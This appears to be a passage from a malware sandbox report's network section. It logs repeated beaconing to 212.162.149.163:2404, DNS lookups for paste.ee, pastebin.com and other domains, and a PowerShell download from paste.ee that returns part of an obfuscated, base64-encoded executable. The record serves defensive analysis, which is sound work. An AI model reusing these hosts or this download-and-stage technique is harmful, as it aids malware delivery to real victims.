Oct 3, 2024 09:29:30.326917887 CEST	49757	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:30.331720114 CEST	2404	49757	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:31.812305927 CEST	2404	49757	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:31.812510967 CEST	49757	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:31.812510967 CEST	49757	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:31.817519903 CEST	2404	49757	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:32.821536064 CEST	49758	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:32.826545000 CEST	2404	49758	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:32.828406096 CEST	49758	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:32.828638077 CEST	49758	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:32.833453894 CEST	2404	49758	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:34.271598101 CEST	2404	49758	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:34.271743059 CEST	49758	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:34.271743059 CEST	49758	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:34.276576042 CEST	2404	49758	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:35.274669886 CEST	49759	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:35.279691935 CEST	2404	49759	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:35.279779911 CEST	49759	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:35.280034065 CEST	49759	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:35.285080910 CEST	2404	49759	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:36.777923107 CEST	2404	49759	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:36.778043032 CEST	49759	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:36.778079033 CEST	49759	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:36.782989979 CEST	2404	49759	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:37.790890932 CEST	49760	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:37.796050072 CEST	2404	49760	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:37.798418999 CEST	49760	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:37.799854040 CEST	49760	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:37.804737091 CEST	2404	49760	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:39.278219938 CEST	2404	49760	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:39.278312922 CEST	49760	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:39.278314114 CEST	49760	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:39.284480095 CEST	2404	49760	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:40.290293932 CEST	49761	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:40.301211119 CEST	2404	49761	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:40.301582098 CEST	49761	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:40.301582098 CEST	49761	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:40.310427904 CEST	2404	49761	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:41.799120903 CEST	2404	49761	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:41.799194098 CEST	49761	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:41.799263954 CEST	49761	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:41.804441929 CEST	2404	49761	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:42.807292938 CEST	49762	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:42.814102888 CEST	2404	49762	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:42.814222097 CEST	49762	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:42.814455032 CEST	49762	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:42.820506096 CEST	2404	49762	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:44.343194962 CEST	2404	49762	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:44.343383074 CEST	49762	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:44.343383074 CEST	49762	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:44.349940062 CEST	2404	49762	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:45.352782965 CEST	49763	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:45.358025074 CEST	2404	49763	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:45.358129025 CEST	49763	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:45.358366013 CEST	49763	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:45.363734007 CEST	2404	49763	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:46.836972952 CEST	2404	49763	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:46.837069035 CEST	49763	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:46.837112904 CEST	49763	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:46.842207909 CEST	2404	49763	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:47.805905104 CEST	49764	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:47.811441898 CEST	2404	49764	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:47.811517954 CEST	49764	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:47.811789989 CEST	49764	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:47.818888903 CEST	2404	49764	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:49.328649044 CEST	2404	49764	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:49.328718901 CEST	49764	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:49.328815937 CEST	49764	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:49.334047079 CEST	2404	49764	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:50.274595022 CEST	49765	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:50.284570932 CEST	2404	49765	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:50.284657001 CEST	49765	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:50.284883022 CEST	49765	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:50.297332048 CEST	2404	49765	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:51.799197912 CEST	2404	49765	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:51.799313068 CEST	49765	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:51.799354076 CEST	49765	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:51.805605888 CEST	2404	49765	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:52.712260008 CEST	49766	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:52.717506886 CEST	2404	49766	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:52.720412970 CEST	49766	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:52.720676899 CEST	49766	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:52.726290941 CEST	2404	49766	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:54.201515913 CEST	2404	49766	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:54.201596975 CEST	49766	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:54.201643944 CEST	49766	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:54.212065935 CEST	2404	49766	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:55.087141037 CEST	49767	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:55.092178106 CEST	2404	49767	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:55.092262030 CEST	49767	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:55.092566013 CEST	49767	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:55.097520113 CEST	2404	49767	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:56.563097000 CEST	2404	49767	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:56.563153982 CEST	49767	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:56.563191891 CEST	49767	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:56.568073034 CEST	2404	49767	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:57.415307045 CEST	49769	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:57.420327902 CEST	2404	49769	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:57.420562983 CEST	49769	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:57.420650005 CEST	49769	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:57.425822020 CEST	2404	49769	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:59.079514027 CEST	2404	49769	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:59.079750061 CEST	49769	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:59.079750061 CEST	49769	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:59.093332052 CEST	2404	49769	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:59.899815083 CEST	49770	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:59.921925068 CEST	2404	49770	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:59.923022985 CEST	49770	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:59.923537970 CEST	49770	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:59.942706108 CEST	2404	49770	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:01.522186041 CEST	2404	49770	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:01.522357941 CEST	49770	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:01.522411108 CEST	49770	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:01.527508974 CEST	2404	49770	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:02.322766066 CEST	49771	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:02.329962015 CEST	2404	49771	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:02.330092907 CEST	49771	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:02.330483913 CEST	49771	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:02.335933924 CEST	2404	49771	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:03.839222908 CEST	2404	49771	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:03.839287996 CEST	49771	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:03.839330912 CEST	49771	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:03.845767975 CEST	2404	49771	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:04.602873087 CEST	49772	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:04.608091116 CEST	2404	49772	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:04.608187914 CEST	49772	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:04.608519077 CEST	49772	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:04.613842964 CEST	2404	49772	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:06.088255882 CEST	2404	49772	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:06.088340044 CEST	49772	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:06.088428974 CEST	49772	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:06.093138933 CEST	2404	49772	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:06.837255955 CEST	49773	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:06.842341900 CEST	2404	49773	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:06.843293905 CEST	49773	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:06.843533039 CEST	49773	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:06.848634958 CEST	2404	49773	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:08.326358080 CEST	2404	49773	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:08.326507092 CEST	49773	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:08.353390932 CEST	49773	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:08.358315945 CEST	2404	49773	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:09.071636915 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:09.076855898 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:09.080436945 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:09.080687046 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:09.446202993 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:10.125539064 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:10.125603914 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:10.126512051 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:10.126584053 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:11.715136051 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:11.715353966 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:11.715353966 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.415409088 CEST	49775	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.741913080 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.760252953 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.760307074 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.760391951 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.760433912 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.760502100 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.760541916 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.762226105 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.762243032 CEST	2404	49775	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.762274981 CEST	2404	49774	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:12.762322903 CEST	49775	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.762358904 CEST	49774	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.762607098 CEST	49775	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:12.770200014 CEST	2404	49775	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:14.263031006 CEST	2404	49775	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:14.263109922 CEST	49775	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:14.620532990 CEST	49775	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:14.625551939 CEST	2404	49775	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:15.634557962 CEST	49776	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:15.639872074 CEST	2404	49776	212.162.149.163	192.168.2.6
Oct 3, 2024 09:30:15.640032053 CEST	49776	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:15.640290976 CEST	49776	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:30:15.645266056 CEST	2404	49776	212.162.149.163	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 09:28:08.304816008 CEST	57264	53	192.168.2.6	1.1.1.1
Oct 3, 2024 09:28:08.885384083 CEST	53	57264	1.1.1.1	192.168.2.6
Oct 3, 2024 09:28:11.600537062 CEST	54843	53	192.168.2.6	1.1.1.1
Oct 3, 2024 09:28:11.607836962 CEST	53	54843	1.1.1.1	192.168.2.6
Oct 3, 2024 09:28:18.657073021 CEST	57063	53	192.168.2.6	1.1.1.1
Oct 3, 2024 09:28:18.948904037 CEST	53	57063	1.1.1.1	192.168.2.6
Oct 3, 2024 09:28:23.388641119 CEST	63525	53	192.168.2.6	1.1.1.1
Oct 3, 2024 09:28:23.395855904 CEST	53	63525	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 09:28:08.304816008 CEST	192.168.2.6	1.1.1.1	0xd9df	Standard query (0)	ftp.desckvbrat.com.br	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:11.600537062 CEST	192.168.2.6	1.1.1.1	0x6f63	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:18.657073021 CEST	192.168.2.6	1.1.1.1	0x4bd9	Standard query (0)	www.gratitudeseekers.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:23.388641119 CEST	192.168.2.6	1.1.1.1	0xac6b	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 09:28:08.885384083 CEST	1.1.1.1	192.168.2.6	0xd9df	No error (0)	ftp.desckvbrat.com.br	desckvbrat.com.br		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 09:28:08.885384083 CEST	1.1.1.1	192.168.2.6	0xd9df	No error (0)	desckvbrat.com.br		191.252.83.213	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:11.607836962 CEST	1.1.1.1	192.168.2.6	0x6f63	No error (0)	paste.ee		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:11.607836962 CEST	1.1.1.1	192.168.2.6	0x6f63	No error (0)	paste.ee		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:18.948904037 CEST	1.1.1.1	192.168.2.6	0x4bd9	No error (0)	www.gratitudeseekers.com	gratitudeseekers.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 09:28:18.948904037 CEST	1.1.1.1	192.168.2.6	0x4bd9	No error (0)	gratitudeseekers.com		173.231.247.100	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:23.395855904 CEST	1.1.1.1	192.168.2.6	0xac6b	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:23.395855904 CEST	1.1.1.1	192.168.2.6	0xac6b	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:28:23.395855904 CEST	1.1.1.1	192.168.2.6	0xac6b	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

www.gratitudeseekers.com

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	188.114.97.3	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:12 UTC	67	OUT	GET /d/RdlsG/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-03 07:28:12 UTC	1206	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ky2YPiCzniAijJxYoOV0bmLKNjF%2FB6jCLkGyt6%2FXogq1tbtcys83x1z4x3kcZwf%2BWSLswsVKE4nO%2FXxXXMnYiRyTgYksY7Ln1tTp7yEhjx2RfyrMoxzk0GoeBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccb36cc2ef10f63-EWR
2024-10-03 07:28:12 UTC	163	IN	Data Raw: 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: f7fTVqQ::M::::E:::://8::Lg:::::::::
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 Data Ascii: Q::::::::::::::::::::::::::::::::::::
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 42 48 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 50 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 Data Ascii: ::::::::::::CBH::BP:::::G:::GgD:::::::::::::
2024-10-03 07:28:12 UTC	1073	IN	Data Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 71 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 Data Ascii: ::G:ucnNyYw:::GgD::::Y:::::Q::::q:::::::::::::::
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 32 30 30 30 0d 0a 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: 2000::::::::::::::::::::::::::::::::::::
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 45 51 55 58 62 77 63 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6f 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 77 64 4b 34 34 52 42 42 66 57 45 77 51 52 42 e2 86 93 3a e2 86 93 6b 78 78 77 67 71 e2 86 93 3a e2 86 93 42 73 77 42 67 44 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 51 49 6f 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6a 6d 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 34 30 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4a 52 5a 79 33 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 63 42 30 6f 43 77 e2 86 93 3a e2 Data Ascii: EQUXbwc:::ooC:::CgwdK44RBBfWEwQRB:kxxwgq:BswBgDM:::::g::EQIoCQ::Cjmo::::G40C:::BJRZy3w::cB0oCw:
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 86 93 e2 86 93 3a e2 86 93 61 69 4a 52 73 47 62 78 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 71 69 4a 52 78 79 6d 77 4d e2 86 93 3a e2 86 93 63 42 77 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6f 43 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 59 57 46 53 67 4e e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4a 6e 4b 66 e2 86 93 3a e2 86 93 77 42 77 47 43 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 66 67 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 52 79 77 51 4d e2 86 93 3a e2 86 93 63 42 59 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 69 67 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 46 68 59 56 4b e2 86 93 Data 